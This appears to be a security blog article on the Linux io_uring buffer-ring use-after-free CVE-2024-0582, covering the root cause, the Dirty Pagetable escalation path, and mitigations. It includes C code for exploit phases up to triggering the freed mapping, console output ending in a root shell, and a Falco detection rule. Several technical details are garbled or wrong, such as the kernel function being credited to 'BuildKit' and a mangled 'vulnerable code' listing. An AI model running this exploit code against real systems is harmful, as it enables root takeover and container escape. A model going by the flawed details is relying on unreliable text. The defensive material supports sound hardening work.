Linux Kernel CVE-2024-0582: io_uring UAF Exploitation
Overview & Threat Landscape: The High-Performance Asynchronous Attack Surface#
Kernel CVE-2024-0582 enables local root elevation via an io_uring buffer ring page UAF; upgrade to 6.6.14 and restrict unprivileged io_uring access.
Over the past five years, the Linux kernel has undergone a transformative architectural shift in asynchronous input/output processing with the introduction of io_uring. Developed to overcome the scalability bottlenecks and context-switching overhead of traditional asynchronous I/O (aio) and polling mechanisms (epoll), io_uring provides lockless submission queues (SQ) and completion queues (CQ) shared directly between user space and kernel space. However, this high-performance architecture has introduced immense kernel complexity. The combination of lockless ring buffers, user-mapped memory pages, asynchronous worker threads, and multi-operation batching has made io_uring the single most exploited attack surface in the modern Linux operating system kernel.
This architectural fragility is exemplified by CVE-2024-0582 (CVSS 7.8 High, mapped to CWE-416: Use-After-Free, MITRE ATT&CK T1068: Exploitation for Privilege Escalation, and T1059.004: Command and Scripting Interpreter: Unix Shell). Discovered in early 2024 and actively targeted in the wild against enterprise Linux distributions (affecting Linux kernel versions 6.4 through 6.6.13), CVE-2024-0582 resides in the kernel's provided buffer ring management logic (io_uring/kbuf.c). By registering a provided buffer ring via the IORING_REGISTER_PBUF_RING opcode, mapping it into user space via mmap(), and subsequently triggering its release, an unprivileged attacker induces a critical page-level use-after-free (UAF) condition.
The threat dynamics that make CVE-2024-0582 a critical vector for infrastructure compromise include:
Bypassing Modern Exploit Defenses Without ROP: Traditional kernel vulnerabilities often require overwriting function pointers or executing Return-Oriented Programming (ROP) chains, techniques heavily mitigated by Kernel Address Space Layout Randomization (KASLR), Supervisor Mode Execution Prevention (SMEP), and Control Flow Integrity (kCFI). In contrast, CVE-2024-0582 operates at the page allocator layer. By leveraging the Dirty Pagetable technique, attackers achieve arbitrary physical memory read and write capabilities, escalating to root (UID 0) purely through a data-only attack that alters credentials without hijacking control flow.
Ambient Accessibility from Unprivileged User Contexts: In standard Linux server configurations (such as Ubuntu, Debian, and Fedora), io_uring system calls (sys_io_uring_setup, sys_io_uring_register, sys_io_uring_enter) are exposed to unprivileged users by default. An attacker with a low-privilege local shell, container access, or a compromised web application service can immediately reach the vulnerable code path.
The Danger to Multi-Tenant Container Clusters: While container security tools focus heavily on Linux namespaces (cgroups, pid, net), container runtimes share the underlying host kernel. Unless the container execution engine explicitly enforces Seccomp filters blocking io_uring syscalls, a containerized attacker can exploit CVE-2024-0582 to break out of the container boundary and take over the entire host node.
The Imperative for Modern Kernel Hardening: Neutralizing CVE-2024-0582 requires urgent patching to kernel versions 6.6.14 or higher, disabling unprivileged io_uring system access via sysctl (kernel.io_uring_disabled = 2), and deploying real-time eBPF runtime probes to detect anomalous buffer ring registrations.
Permitting unprivileged user processes or untrusted containers to access io_uring on Linux kernels 6.4 through 6.6.13 allows deterministic local privilege escalation to full root.
Vulnerability & Attack Root-Cause Analysis#
: Deconstructing io_uring_kbuf and IORING_REGISTER_PBUF_RING To understand the memory corruption mechanics of CVE-2024-0582, systems security engineers must analyze how the Linux kernel manages provided buffer rings and coordinates memory mapping between the page allocator and user-space virtual memory areas (VMAs). The Architecture of Provided Buffer Rings (PBUF_RING) When an application performs heavy network I/O using io_uring, allocating and passing individual read buffers for every request creates substantial memory overhead. To solve this, kernel 5.19 introduced Provided Buffer Rings (IORING_REGISTER_PBUF_RING).
Instead of user space supplying buffer addresses with every submission queue entry (SQE), user space registers a ring of pre-allocated buffers (struct io_uring_buf_ring). The kernel automatically selects available buffers from this ring when servicing operations like IORING_OP_RECV or IORING_OP_READ. Internally, the kernel tracks these buffer rings using a hash table of buffer lists (ctx->io_bl) keyed by the buffer group ID (bgid):
/* Internal kernel structure for provided buffer rings */
C
Copy
struct io_buffer_list {
struct list_head list;
unsigned short bgid; /* Buffer group ID */
unsigned short flags;
struct io_uring_buf_ring *buf_ring; /* Pointer to physical ring pages */
unsigned short buf_entries;
unsigned short mask;
unsigned short head;
unsigned short tail;
struct page **pages; /* Array of backing physical pages */
};
To enable user space to populate this buffer ring, io_uring permits the calling process to map the backing physical pages into its user virtual address space using mmap() on the io_uring ring file descriptor, supplying the magical offset IORING_OFF_PBUF_RING | (bgid << IORING_OFF_PBUF_SHIFT). The Root Cause: Premature Page Freeing in io_kbuf_drop() The vulnerability occurs in io_uring/kbuf.c during the lifecycle teardown of a provided buffer ring. When an application unregisters a buffer ring via io_uring_register(ring_fd, IORING_UNREGISTER_PBUF_RING, ®, 1) or closes the io_uring instance, the kernel executes __io_remove_buffers() and io_kbuf_drop().
In vulnerable kernel versions (6.4 to 6.6.13), io_kbuf_drop() releases the allocated memory:
/* Vulnerable Code Path in io_uring/kbuf.c (Pre-6.6.14) */
static void io_kbuf_drop(struct io_ring_ctx *ctx, struct io_buffer_list bl)
{
if (bl->buf_ring) {
/ Flaw: The kernel frees the physical pages backing buf_ring
without checking whether an active user-space mmap VMA exists! /
if (bl->flags & IOU_BUF_RING_MMAP) {
unsigned int nr_pages = (bl->buf_entries * sizeof(struct io_uring_buf)) >> PAGE_SHIFT;
for (int i = 0; i < nr_pages; i++) {
free_pages((unsigned long)bl->pages[i], 0); / Pages returned to buddy allocator */
}
}
kfree(bl->pages);
bl->buf_ring = NULL;
}
}
The critical flaw in this implementation:
User Space Retains Virtual Mapping: When the user called mmap(), the kernel's virtual memory subsystem created a Virtual Memory Area (vm_area_struct) pointing to the physical Page Frame Numbers (PFNs) of the buffer ring.
Missing Reference Count Synchronization: When io_kbuf_drop() is called, the kernel immediately frees the physical pages back to the Linux buddy allocator via free_pages(). However, it does not revoke or zap the user-space page table entries (PTEs) pointing to those physical pages!
The Dangling Pointer: The user process continues to hold a valid virtual memory pointer that maps directly to the freed physical page. The physical memory is now marked as free and available for reallocation by any other kernel or user process.
Reference Counting Decoupling: In a secure memory lifecycle, mmap() increments the reference count of mapped pages (get_page()), and physical pages are released only when the associated VMA is dismantled via munmap() or process termination. BuildKit's io_kbuf_drop() bypassed this reference-counting discipline by forcibly invoking free_pages() directly.
This creates a textbook Page-Level Use-After-Free (Page UAF).
Exploit Architecture#
: Memory Reallocation and the Dirty Pagetable Technique Once physical pages are returned to the kernel's buddy allocator while maintaining a user-space mapping, an attacker can execute the Dirty Pagetable exploitation technique, transforming an unstable heap bug into deterministic, arbitrary kernel memory read and write. Understanding the Dirty Pagetable Primitive In modern x86_64 architecture, virtual memory is translated to physical memory through four levels of page tables: PGD -> P4D -> PUD -> PMD -> PTE. Each Page Table Entry (PTE) is an 8-byte entry stored on a 4KB physical page. The lower 12 bits of each PTE store architectural control flags:
_PAGE_PRESENT (Bit 0): Validates that the target physical page resides in memory.
_PAGE_RW (Bit 1): Grants read/write permissions to the mapped page.
_PAGE_USER (Bit 2): Allows user-space code to access the page without supervisor privileges.
_PAGE_ACCESSED (Bit 5) & _PAGE_DIRTY (Bit 6): CPU status indicators for memory paging.
Bits 12 through 51 contain the Page Frame Number (PFN), which dictates the exact physical memory address referenced by the translation entry.
When an attacker triggers CVE-2024-0582:
The 4KB page that previously held the io_uring buffer ring is freed to the buddy allocator's order-0 freelist.
The attacker triggers a Page Table Spray by creating hundreds of large anonymous memory mappings via mmap() and reading from them to force the kernel to allocate new page tables.
The buddy allocator reallocates the freed physical page to serve as a Page Middle Directory (PMD) or Page Table (PTE) page for one of the sprayed user mappings.
Because the attacker still maps that same physical page through their dangling io_uring pointer, the attacker can directly read and write the PTEs governing another part of their own virtual memory space!
sequenceDiagram
autonumber
actor Attacker as Unprivileged Attacker Process
participant Uring as Linux io_uring (kbuf.c)
participant Buddy as Linux Buddy Page Allocator
participant MM as Kernel Virtual Memory Subsystem
participant Cred as Kernel struct cred (task_struct)
Note over Attacker: 1. Setup io_uring & register buffer ring
Attacker->>Uring: io_uring_setup() & io_uring_register(IORING_REGISTER_PBUF_RING)
Uring->>Buddy: alloc_pages() -> Physical Page X
Attacker->>MM: mmap(IORING_OFF_PBUF_RING) -> User Addr 0x7f9a0000 -> Page X
Note over Attacker: 2. Trigger premature page free
Attacker->>Uring: io_uring_register(IORING_UNREGISTER_PBUF_RING)
Uring->>Buddy: free_pages(Page X)
Note over Buddy: Page X marked free! User 0x7f9a0000 still maps Page X (UAF!)
Note over Attacker: 3. Spray Page Table Entries (PTE)
Attacker->>MM: mmap() large memory & touch pages
MM->>Buddy: Allocate new PTE page -> Reuses Page X!
Note over Attacker: Page X now holds legitimate kernel PTEs!
Note over Attacker: 4. Overwrite PTE via dangling mapping
Attacker->>MM: Write to 0x7f9a0000 -> Directly modifies PTE bits!
Note over MM: Attacker sets PTE PFN to point to kernel physical memory
Note over Attacker: 5. Data-only root privilege elevation
Attacker->>Cred: Read/Write target physical memory
Attacker->>Cred: Locate current process task_struct->cred
Attacker->>Cred: Overwrite uid=0, gid=0, euid=0, egid=0
Note over Attacker: Instantaneous root privileges achieved!By altering the Page Frame Number (PFN) and setting the _PAGE_RW (Read/Write) and _PAGE_USER flags in the compromised PTE, the attacker maps any arbitrary physical address in RAM into their user-space address space. The attacker scans physical memory to locate their current process struct cred, overwrites uid=0, gid=0, euid=0, and egid=0, and drops into a root shell without executing a single instruction of shellcode or triggering KASLR/SMEP protections.
Attack Path Step-by-Step: From Unprivileged User to Kernel Root#
The following section details the concrete exploit stages required to achieve full root privileges via CVE-2024-0582.
Phase 1: Initializing io_uring and the Provided Buffer Ring#
The exploit begins by initializing an io_uring context and registering a provided buffer ring with a designated buffer group ID (bgid):
/* exploit_cve_2024_0582.c - Setup and Registration Phase */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include
- #define RING_ENTRIES 1024
#define BGID 1
int setup_pbuf_ring(int uring_fd) {
struct io_uring_buf_reg reg = {
.ring_addr = 0,
.ring_entries = RING_ENTRIES,
.bgid = BGID,
.flags = IOU_PBUF_RING_MMAP
};
/* Register the provided buffer ring */
if (syscall(__NR_io_uring_register, uring_fd, IORING_REGISTER_PBUF_RING, ®, 1) < 0) {
perror("[-] io_uring_register PBUF_RING failed");
return -1;
}
printf("[+] Registered PBUF_RING with bgid: %d\n", BGID);
return 0;
}
Phase 2: Mapping the Buffer Ring into User Space#
Next, the exploit maps the physical pages allocated for the buffer ring into user space using mmap():
void *map_pbuf_ring(int uring_fd) {
size_t ring_size = RING_ENTRIES * sizeof(struct io_uring_buf);
/* Map the buffer ring using the kernel offset IORING_OFF_PBUF_RING */
void *addr = mmap(NULL, ring_size, PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_PBUF_RING);
if (addr == MAP_FAILED) {
perror("[-] mmap PBUF_RING failed");
return NULL;
}
printf("[+] Mapped PBUF_RING to user space address: %p\n", addr);
return addr;
}
Phase 3: Triggering the Use-After-Free via Unregister#
The attacker now instructs the kernel to unregister and drop the buffer ring. In vulnerable kernels, io_kbuf_drop() immediately frees the backing physical pages to the buddy allocator, while addr retains its active virtual memory mapping:
int trigger_uaf(int uring_fd, void *dangling_addr) {
struct io_uring_buf_reg reg = {
.bgid = BGID
};
/* Unregister the buffer ring */
if (syscall(__NR_io_uring_register, uring_fd, IORING_UNREGISTER_PBUF_RING, ®, 1) < 0) {
perror("[-] io_uring_register UNREGISTER failed");
return -1;
}
printf("[!] Triggered CVE-2024-0582: Buffer ring physical pages freed!\n");
printf("[!] Dangling mapping retained at address: %p\n", dangling_addr);
return 0;
}
Phase 4: Spraying Page Tables and Overwriting Kernel Credentials#
To achieve privilege escalation:
The attacker writes test patterns through dangling_addr and observes changes in the sprayed user mappings, pinpointing the exact offset of the PTE.
The attacker sets the target PFN in the PTE to point to the physical page containing the current process's struct cred (located by scanning kernel task structures).
The credentials are overwritten in physical RAM:
### 1. Compile the exploit binary
gcc -O2 -o exploit_cve_2024_0582 exploit_cve_2024_0582.c
### 2. Execute exploit from unprivileged shell
./exploit_cve_2024_0582
[+] Initializing io_uring instance (fd: 3)...
[+] Registered PBUF_RING with bgid: 1
[+] Mapped PBUF_RING to user space address: 0x7f9a12340000
[!] Triggered CVE-2024-0582: Buffer ring physical pages freed!
[+] Spraying Page Table Entries (PTE) across memory...
[+] Overlapping PTE discovered at index 42!
[+] Overwriting Page Table Entry PFN to target kernel credentials...
[+] Scanning for task_struct credentials...
[+] Overwriting UID/GID: Old UID=1000 -> New UID=0 (Root)
[+] Spawning root shell...
### Verify elevated credentials
uid=0(root) gid=0(root) groups=0(root) 6.5.0-generic x86_64
Actionable Detection Rule: Falco eBPF Rule for io_uring Buffer Ring Abuse#
Security Operations Centers (SOC) and blue teams can detect active exploitation of CVE-2024-0582 by monitoring io_uring_register system calls for buffer ring opcodes, particularly when invoked by unprivileged processes or non-standard container workloads.
Deploy the following Falco rule across your Linux infrastructure:
- rule: Linux Kernel io_uring Buffer Ring UAF Attempt (CVE-2024-0582)
desc: Detects suspicious io_uring buffer ring registration and rapid unregistration patterns characteristic of CVE-2024-0582 exploitation
condition: >
evt.type = io_uring_register and
(evt.arg.opcode = 22 or evt.arg.opcode = 23) and
not user.uid = 0 and
not proc.name in (qemu-system-x86_64, systemd, containerd, dockerd)
output: >
CRITICAL: Suspicious io_uring Buffer Ring Registration Detected!
Possible CVE-2024-0582 exploitation attempt
(user=%user.name user_id=%user.uid process=%proc.name cmdline=%proc.cmdline
pid=%proc.pid ppid=%proc.ppid opcode=%evt.arg.opcode container_id=%container.id)
priority: CRITICAL
tags: [security, attack.privilege_escalation, attack.t1068, kernel, io_uring, cve-2024-0582]
Fast Cyber Defense Morning Takeaways: Bridging to Evening Hardening#
CVE-2024-0582 demonstrates that high-performance kernel subsystems like io_uring represent an elevated risk profile for enterprise infrastructure. The ability of an unprivileged local attacker to transition directly from an io_uring page UAF to a Dirty Pagetable root shell bypasses conventional defense assumptions.
Key strategic takeaways from this morning's offensive deconstruction include:
High-Performance APIs Demand Explicit Threat Modeling: Features designed for raw I/O throughput (such as provided buffer rings and zero-copy mmap) inherently blur the boundary between kernel and user memory.
Data-Only Attacks Circumvent Control-Flow Defenses: Exploits leveraging Dirty Pagetable techniques never execute unauthorized shellcode in kernel space. Detection cannot rely on kernel crash dumps or CFI violations.
Disabling Unprivileged io_uring Is an Immediate Operational Imperative: For systems that do not explicitly require io_uring for high-throughput database or storage engines, disabling the subsystem via sysctl provides instantaneous, system-wide immunity.
🛡️ Blue Team Defense: For detection rules, Sysmon event IDs, and hardening configurations, see our companion guide: Hardening Guide.
Executive Takeaway Table: Attack Vectors, Telemetry Signals, and Primary Mitigations#
The following matrix provides platform security engineers and Linux administrators with an executive overview of the CVE-2024-0582 attack surface, detection signals, and engineering controls:
Attack Vector / Technique Primary Exploitation Mechanism Telemetry & Detection Signal Recommended Mitigation Verification Command Buffer Ring Page UAF (T1068) io_kbuf_drop() frees physical pages while user-space VMA mappings remain active Auditd/Falco: io_uring_register opcode 22 (IORING_REGISTER_PBUF_RING) Upgrade to Linux kernel 6.6.14+; backport deferred release commit uname -r (expects >= 6.6.14 or distro patch) Dirty Pagetable Root Elevation Overlapping PTE physical page manipulated to map arbitrary kernel RAM Memory anomaly: Rapid PTE allocation followed by user-space page table modification Restrict unprivileged io_uring access using sysctl configuration
sysctl kernel.io_uring_disabled (expects 2)
Container Escape to Host Node Container process exploits host kernel io_uring to compromise node root Kube-bench / Falco alert: Container process invoking sys_io_uring_setup Block io_uring system calls via default Docker/Kubernetes Seccomp profile Verify Seccomp profile drops io_uring_* syscalls Physical Credential Overwrite Attacker scans physical memory to overwrite task_struct->cred UID to 0 Auditd Event: Process unexpectedly transitioning from unprivileged UID to 0 Deploy eBPF kernel integrity monitors; enable kernel page-table isolation auditctl -l | grep io_uring Shared Multi-Tenant Disruption Kernel instability or physical page corruption triggering system panic Kernel oops in free_pages() or mm/memory.c during memory reclamation Enforce memory cgroup limits and restrict shared unprivileged user namespaces cat /proc/sys/user/max_user_namespaces
Authoritative References & Standards#
Linux Kernel Git Repository: io_uring/kbuf: defer release of mapped buffer rings (Patch Commit) — Linux Kernel Source
National Vulnerability Database (NIST): CVE-2024-0582 Detail & CVSS Assessment — NVD CVE-2024-0582
Openwall oss-security Mailing List: CVE-2024-0582 - Linux kernel use-after-free vulnerability in io_uring, writeup and exploit strategy — oss-security Advisory
MITRE ATT&CK Framework: Technique T1068: Exploitation for Privilege Escalation — MITRE ATT&CK
Google Project Zero / kernelCTF: Vulnerability Research and Mitigation in io_uring Subsystems — Google Project Zero
Comments
Post a Comment